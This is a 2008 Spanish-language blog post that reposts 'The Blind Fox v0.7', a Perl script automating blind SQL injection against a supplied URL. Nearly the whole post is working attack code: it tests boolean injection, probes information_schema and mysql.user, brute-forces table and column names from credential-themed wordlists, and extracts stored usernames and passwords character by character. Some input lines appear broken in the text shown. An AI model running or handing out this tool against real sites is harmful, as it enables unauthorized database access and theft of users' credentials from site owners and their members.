. Con la tecnología de Blogger.

viernes, 26 de diciembre de 2008

The Blind Fox v0.7 | By Login-Root (No Pattern Needed!)

aca el maestro login actualizo su tool

post original aca


#!/usr/bin/perl

###########################################################################################
# -[+]- The Blind Fox v0.7 | By Login-Root -[+]- ###
###########################################################################################

###########################################################################################
# [+] inf0: ###
###########################################################################################
# Busca: ###
# ====== ###
# - Checkeo AND 1=1 && AND 1=0 ###
# - Information_Schema && MySQL.User ###
# - Tablas ###
# - Columnas ###
# - Extrae valores de las tablas (Opcional) ###
# ###
# ...y guarda todo en un archivo de texto. ###
# ###
###########################################################################################

###########################################################################################
# [+] Use: ###
###########################################################################################
# perl blindfox.pl [WEBSITE] [FILE] [-EXT] ###
# [WEBSITE]: http://www.web.com/index.php?id=4875 (Poner un numero valido) ###
# [FILE]: Archivo donde guardar informe ###
# [-EXT]: Para extraer nombres de usuarios, passwords, etc (Opcional) ###
###########################################################################################

###########################################################################################
# [+] c0ntact: ###
###########################################################################################
# MSN: no.more@passport.com ###
# Jabber: login-root@x23.eu ###
# E-Mail: login_root@yahoo.com.ar ###
###########################################################################################

###########################################################################################
# [+] sh0utz: ###
###########################################################################################
# Greetz: Knet ; Reberto ; Em3trix ; KSHA ; Psiconet ; Knet ; VenoM ; InyeXion ; OzX ###
# VISIT: WWW.MITM.CL | FORO.REMOTEEXECUTION.COM | WWW.DIOSDELARED.COM ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[1])
{
print "\n\n-[+]- The Blind Fox v0.7 | By Login-Root -[+]-\n==============================================";
print "\n\nUso: perl $0 [WEBSITE] [FILE] [-EXT]\n";
print "\n[WEBSITE]: http://www.web.com/index.php?id=4875 (Poner un numero valido)\n[FILE]: Archivo donde guardar informe\n[-EXT]: Para extraer nombres de usuarios, passwords, etc (Opcional)\n\n";
exit (0);
}

sub end()
{
print WEB "\n\n\n[*EOF*]";
print "\n\n[+] Todo salvado correctamente en $ARGV[1]\n\n";
print "## c0ded by Login-Root | 2008 ##\n\n";
close(WEB);
exit (0);
}


@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
'name','names','nombre','nombres','member','members','admin_table',
'miembro','miembros','membername','admins','administrator','sign',
'administrators','passwd','password','passwords','pass','Pass',
'tAdmin','tadmin','user_password','usuarios','user_passwords','user_name','user_names',
'member_password','mods','mod','moderators','moderator','user_email',
'user_emails','user_mail','user_mails','mail','emails','email','address',
'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
'sistema_usuario','sistema_password','contrasena','auth','key','senha','signin',
'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','club_authors',
'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup',
'associated','accnt','customers','customer','membres','administrateur','utilisateur',
'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users',
'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author','user_login',
'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');

if ( $ARGV[0] !~ /^http:/ )
{
$ARGV[0] = "http://" . $ARGV[0];
}

open(WEB,">>".$ARGV[1]) || die "\n[-] Imposible crear el archivo de texto\n\n";
print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
print "\n[!] Chequeando si la web es vulnerable...\n";
$sql=$ARGV[0]." AND 1=1";
$and1=scalar(split("\n",get($sql))); # Thanks OzX
$sql=$ARGV[0]." AND 1=0";
$and0=scalar(split("\n",get($sql)));
print "\n[!] AND 1=1 devolvio $and1 lineas, AND 1=0 devolvio $and0 lineas\n";
if ($and1 == $and0)
{
print "\n[-] Website aparentemente no vulnerable a Blind SQL Inyection...\n";
close(WEB);
exit(0);
}
else
{
print "[+] Website vulnerable a Blind SQL Inyection\n";
print "\n[!] Chequeando si existe Information_Schema...";
$sql=$ARGV[0]." AND (SELECT Count(*) FROM information_schema.tables)";
$response=scalar(split("\n",get($sql)));
if($response == $and1)
{
print "\n[+] Information_Schema disponible...guardando en $ARGV[1]";
print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";

}
else
{
print "\n[-] Information_Schema no disponible";
}
print "\n[!] Chequeando si existe MySQL.User...";
$sql=$ARGV[0]." AND (SELECT Count(*) FROM mysql.user)";
$response=scalar(split("\n",get($sql)));
if($response == $and1)
{
print "\n[+] MySQL.User disponible...guardando en $ARGV[1]";
print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";

}
else
{
print "\n[-] MySQL.User no disponible";
}
print "\n\n[!] Bruteando tablas...";
print WEB "\n\n[TABLAS]:\n\n";
foreach $tabla(@nombretabla)
{
chomp($tabla);
$sql=$ARGV[0]." AND (SELECT Count(*) FROM ".$tabla.")";
$response=scalar(split("\n",get($sql)));
if($response == $and1)
{
print "\n[+] La tabla $tabla esta disponible...guardando en $ARGV[1]";
print WEB "$sql\n";
}
}
print "\n\n[!] Tabla a la cual brutear columnas: ";
$tabla.=;
chomp($tabla);
print WEB "\n\n[COLUMNAS EN $tabla]:\n\n";
foreach $columna(@nombrecolumna)
{
chomp($columna);
$sql=$ARGV[0]." AND (SELECT Count(".$columna.") FROM ".$tabla.")";
$response=scalar(split("\n",get($sql)));
if($response == $and1)
{
print "[+] La columna $columna esta disponible...guardando en $ARGV[1]\n";
print WEB "$sql\n";
}
}
if ($ARGV[2] =~ /-EXT/)
{
extract:
$columna = '';
print "\n[!] Columna de la tabla $tabla a la cual extraer campos: ";
$columna.=;
chomp($columna);
print "[!] Extrayendo valores de la tabla $tabla y columna $columna (puede demorar mucho tiempo)...\n\n";
print WEB "\n\n[Valores de la tabla $tabla y columna $columna]:\n\n";
$search = 1;
$posicion = 1;
$limit = 0;
$comprob = 1;
while ($search <= 255) { $sql=$ARGV[0]." AND ascii(substring((SELECT " .$columna. " FROM " .$tabla." limit " .$limit.",1),".$posicion.",1)) = " .$search; $response=scalar(split("\n",get($sql))); if($response == $and1) { $char = chr($search); print WEB "$char"; print "$char"; $search = 0; $posicion++; $comprob++; } if ($search == 255) { print "\n"; print WEB "\n"; if ($comprob == 1) { $eleccion = ''; print "[+] Busqueda finalizada. Desea extraer valores de otra columna? [Y/N]: "; $eleccion.=;
chomp($eleccion);
if ($eleccion =~ /Y/)
{
goto extract;
}
else
{
end();
}
}
$comprob = 1;
$search = 0;
$limit++;
}
$search++;
}
}
}
end();


__END__

0 comentarios: